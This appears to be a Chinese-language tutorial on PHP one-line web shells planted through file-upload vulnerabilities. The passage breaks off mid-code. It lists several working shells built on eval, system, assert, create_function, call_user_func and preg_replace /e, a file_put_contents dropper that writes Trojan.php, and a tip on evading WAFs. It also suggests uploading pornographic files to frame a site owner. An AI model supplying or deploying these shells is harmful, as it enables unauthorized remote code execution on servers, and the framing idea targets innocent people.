利用文件上传漏洞,往目标网站中上传一句话木马,只要攻击者满足三个条件,就能实现成功入侵。
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据,一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' ']
接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。
所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。
1.最简单的应用
<?php @eval($_GET["code"])?>
<?php @eval($_POST['a']);?>
<?php @system($_POST["cmd"])?>
其中eval就是执行命令的函数,$_POST[‘a’]就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。
一句话解析:
(1)php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错。
为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@
(3)为什么密码是cmd呢?
那就要来理解这句话的意思了。php里面几个超全局变量: G E T 、 _GET、 GET、_POST就是其中之一。$_POST[‘a’]; 的意思就是a这个变量,用post的方法接收。
【注释:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)】
(4)如何理解eval()函数?
eval()把字符串作为PHP代码执行。
例如:eval(“echo ‘a’”);其实就等于直接 echo ‘a’;再来看看<?php eval($_POST['pw']); ?>
首先,用post方式接收变量pw,比如接收到了:pw=echo ‘a’;这时代码就变成<?php eval("echo 'a';"); ?>
。结果如下:
你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等。想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好。你想执行cmd命令,则用exec()。
当然前提是:php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。
其它的一些函数
assert函数
<?php assert(@$_POST['a']); ?>
create_function函数
把用户传递的数据生成一个函数fun(),然后再执行fun()
<?php
$fun = create_function('',$_POST['a']);
$fun();
?>
call_user_func回调函数
<?php
@call_user_func(assert,$_POST['a']);
?>
call_user_func这个函数可以调用其它函数,被调用的函数是call_user_func的第一个函数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。
preg_replace函数
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。
file_put_contents函数
利用函数生成木马
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
函数功能:生成一个文件,第一个参数是文件名,第二个参数是文件的内容。
二、稍微复杂
//#1-eval
<?php
eval($_POST[